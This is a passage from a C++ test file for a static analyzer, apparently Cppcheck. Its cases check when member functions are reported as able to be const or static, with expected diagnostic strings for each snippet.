this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", 